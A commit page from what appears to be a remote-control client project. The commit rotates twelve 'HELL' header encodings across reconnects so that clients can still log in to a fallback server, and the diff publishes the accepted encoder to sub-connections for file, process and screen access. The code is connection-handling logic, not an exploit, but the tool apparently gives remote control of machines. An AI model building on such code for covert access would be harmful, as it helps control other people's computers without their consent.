Fix(client): rotate HELL header encoding across reconnects
A Release client drew one of the twelve HELL header encodings in the constructor and kept it for life. The Go fallback server latches a type from the first packet and only decodes None..V6, so every client that drew V7..V10 could never log in to it — a third of them, at random, for good. The main connection now advances to the next type when it reconnects after a connection that was never login-acked (CMD_MASTERSETTING), and republishes the accepted type into CONNECT_ADDRESS::szFuture. A type that did log in is kept, so a healthy client no longer churns through values the fallback would reject. Sub-connections, including one-shot ones (file/process/screen), inherit the published value at construction and on every reconnect instead of rolling their own dice. Debug keeps its None..V6-only range; the initial Release type now comes from random_device rather than time() % N, which handed a whole batch started in the same second the same value. The slot sits at szFuture+16, after LOCAL_TEST_CLIENT_MAGIC, guarded by static_asserts; it is memory-only and never persisted or sent. Swapping the encoder is a single atomic function-pointer store, so the send and receive threads see either the old or the new encoder and never a dropped object. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
a818ace83c
commit
9fadb58c76
5 files changed
+178
-10
No files matched your search
@@ -1444,8 +1444,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings
|
||||
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的
|
||||
// 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。
|
||||
if (m_ClientObject)
|
||||
if (m_ClientObject) {
|
||||
m_ClientObject->SetLoginAcked(true);
|
||||
// 后端确实按当前头加密类型解析成功了,发布给后续创建的子连接继承
|
||||
// (只有主连接会走到 CMD_MASTERSETTING,见 PublishHeaderEncoder)。
|
||||
m_ClientObject->PublishHeaderEncoder();
|
||||
}
|
||||
if (ulLength > MasterSettingsOldSize) {
|
||||
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
|
||||
if (m_settings.Signature[0] && m_LoginSignature.empty()) {
|
||||
|
||||
Reference in new issue
Block a user